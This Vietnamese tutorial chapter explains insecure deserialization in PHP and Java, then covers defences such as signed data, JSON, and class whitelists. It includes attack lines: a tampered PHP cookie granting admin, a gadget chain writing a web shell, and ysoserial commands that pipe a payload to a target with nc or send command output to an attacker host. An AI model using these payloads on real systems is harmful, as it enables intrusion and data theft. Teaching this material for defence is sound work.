Chương 26: Insecure Deserialization
Khái niệm
Insecure Deserialization (Deserialization không an toàn) xảy ra khi ứng dụng deserialize dữ liệu từ user input mà không validate, cho phép hacker inject arbitrary objects dẫn đến RCE.
Mức độ nguy hiểm: Rất cao — RCE, privilege escalation.
Serialization là gì?
Serialization: Object → Bytes (để lưu/truyền)
Deserialization: Bytes → Object (tái tạo)
Ứng dụng serialize objects để:
- Lưu session
- Truyền qua network
- Cache data
Ngôn ngữ-Specific
PHP
// Serialize
$obj = new User(1, 'admin');
$serialized = serialize($obj);
// O:4:"User":2:{s:2:"id";i:1;s:4:"name";s:5:"admin";}
// Vulnerable deserialization
$data = unserialize($_COOKIE['user_data']); // Không validate!
// Attack: Modify cookie thành:
// O:4:"User":2:{s:2:"id";i:1;s:4:"name";s:5:"admin";s:8:"is_admin";b:1;}
// → Object với is_admin = true
PHP Magic Methods:
__wakeup() # Gọi sau deserialization
__destruct() # Gọi khi object bị garbage collected
__toString() # Gọi khi object dùng như string
// Gadget chain: chuỗi method calls exploit sẵn có trong code
class Logger {
public $logFile;
public function __destruct() {
file_put_contents($this->logFile, 'log entry');
// Hacker set $logFile = "/var/www/shell.php"
// Và inject PHP code vào 'log entry'
}
}
Java
// Vulnerable
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
Object obj = ois.readObject(); // ← Deserialize từ request body
// Gadget chains: ysoserial
// java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" | nc target 80
# ysoserial: tool tạo Java deserialization gadget chains
java -jar ysoserial.jar CommonsCollections6 "curl https://attacker.com/$(whoami)"
# → Serialize payload RCE
Phòng chống
# Python: Không dùng pickle từ untrusted input
import pickle
import hmac
import hashlib
SECRET_KEY = b'super-secret'
def serialize(obj):
data = pickle.dumps(obj)
sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
return sig + ':' + data.hex()
def deserialize(signed_data):
sig, hex_data = signed_data.split(':', 1)
data = bytes.fromhex(hex_data)
# Verify signature trước khi deserialize
expected_sig = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
if not hmac.compare_digest(sig, expected_sig):
raise ValueError("Signature mismatch")
return pickle.loads(data) # Safe vì đã verify signature
# Hoặc: Dùng JSON thay vì binary serialization
import json
serialized = json.dumps({'user_id': 1, 'role': 'user'})
obj = json.loads(serialized)
// Java: Whitelist allowed classes
import java.io.*;
import java.util.Arrays;
import java.util.List;
class SafeObjectInputStream extends ObjectInputStream {
private static final List<String> ALLOWED_CLASSES = Arrays.asList(
"com.example.app.SafeClass",
"java.lang.String",
"java.util.ArrayList"
);
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException {
if (!ALLOWED_CLASSES.contains(desc.getName())) {
throw new InvalidClassException("Unauthorized deserialization", desc.getName());
}
return super.resolveClass(desc);
}
}
Tóm tắt
- Insecure deserialization: deserialize untrusted data → attacker inject malicious objects.
- PHP: magic methods (__wakeup, __destruct) trong gadget chains.
- Java: ysoserial tool tạo gadget chain payloads.
- Phòng chống: sign serialized data, whitelist allowed classes, prefer JSON.